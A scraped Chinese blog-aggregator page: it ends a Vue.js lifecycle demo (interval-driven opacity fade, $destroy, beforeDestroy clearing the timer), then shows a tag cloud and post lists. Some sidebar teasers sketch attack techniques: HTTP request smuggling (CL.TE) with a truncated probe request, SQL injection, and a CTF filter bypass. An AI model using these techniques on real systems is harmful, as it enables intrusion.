                stop(){
                    //clearInterval(this.timer)
                    this.$destroy()
                }
            },
            mounted() {
                console.log('mounted',this)
                this.timer=setInterval(() => {
                    console.log('setInterval')
                        this.opacity -= 0.01
                        if (this.opacity <= 0)
                        this.opacity = 1
                    }, 16)
            },
            beforeDestroy() {
                console.log('vm即將駕鶴西游了')
                clearInterval(this.timer)
            },
            
        })
    </script>

</body>
</html>

image

二、Vue組件化編程

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/519175.html

標籤:其他

上一篇:面試題JavaScript基礎

下一篇:第一百零四篇:DOM事件流

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 使用Django Rest framework搭建Blog

    在前面的Blog例子中我們使用的是GraphQL, 雖然GraphQL的使用處于上升趨勢,但是Rest API還是使用的更廣泛一些. 所以還是決定回到傳統的rest api framework上來, Django rest framework的官網上給了一個很好用的QuickStart, 我參考Qu ......

    uj5u.com 2023-04-20 08:17:54 more
  • 記錄-new Date() 我忍你很久了!

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 大家平時在開發的時候有沒被new Date()折磨過?就是它的諸多怪異的設定讓你每每用的時候,都可能不小心踩坑。造成程式意外出錯,卻一下子找不到問題出處,那叫一個煩透了…… 下面,我就列舉它的“四宗罪”及應用思考 可惡的四宗罪 1. Sa ......

    uj5u.com 2023-04-20 08:17:47 more
  • 使用Vue.js實作文字跑馬燈效果

    實作文字跑馬燈效果,首先用到 substring()截取 和 setInterval計時器 clearInterval()清除計時器 效果如下: 實作代碼如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta ......

    uj5u.com 2023-04-20 08:12:31 more
  • JavaScript 運算子

    JavaScript 運算子/運算子 在 JavaScript 中,有一些運算子可以使代碼更簡潔、易讀和高效。以下是一些常見的運算子: 1、可選鏈運算子(optional chaining operator) ?.是可選鏈運算子(optional chaining operator)。?. 可選鏈操 ......

    uj5u.com 2023-04-20 08:02:25 more
  • CSS—相對單位rem

    一、概述 rem是一個相對長度單位,它的單位長度取決于根標簽html的字體尺寸。rem即root em的意思,中文翻譯為根em。瀏覽器的文本尺寸一般默認為16px,即默認情況下: 1rem = 16px rem布局原理:根據CSS媒體查詢功能,更改根標簽的字體尺寸,實作rem單位隨螢屏尺寸的變化,如 ......

    uj5u.com 2023-04-20 08:02:21 more
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 08:01:50 more
  • 如何在 vue3 中使用 jsx/tsx?

    我們都知道,通常情況下我們使用 vue 大多都是用的 SFC(Signle File Component)單檔案組件模式,即一個組件就是一個檔案,但其實 Vue 也是支持使用 JSX 來撰寫組件的。這里不討論 SFC 和 JSX 的好壞,這個仁者見仁智者見智。本篇文章旨在帶領大家快速了解和使用 Vu ......

    uj5u.com 2023-04-20 08:01:37 more
  • 【Vue2.x原始碼系列06】計算屬性computed原理

    本章目標:計算屬性是如何實作的?計算屬性快取原理以及洋蔥模型的應用?在初始化Vue實體時,我們會給每個計算屬性都創建一個對應watcher,我們稱之為計算屬性watcher ......

    uj5u.com 2023-04-20 08:01:31 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:01:10 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:00:32 more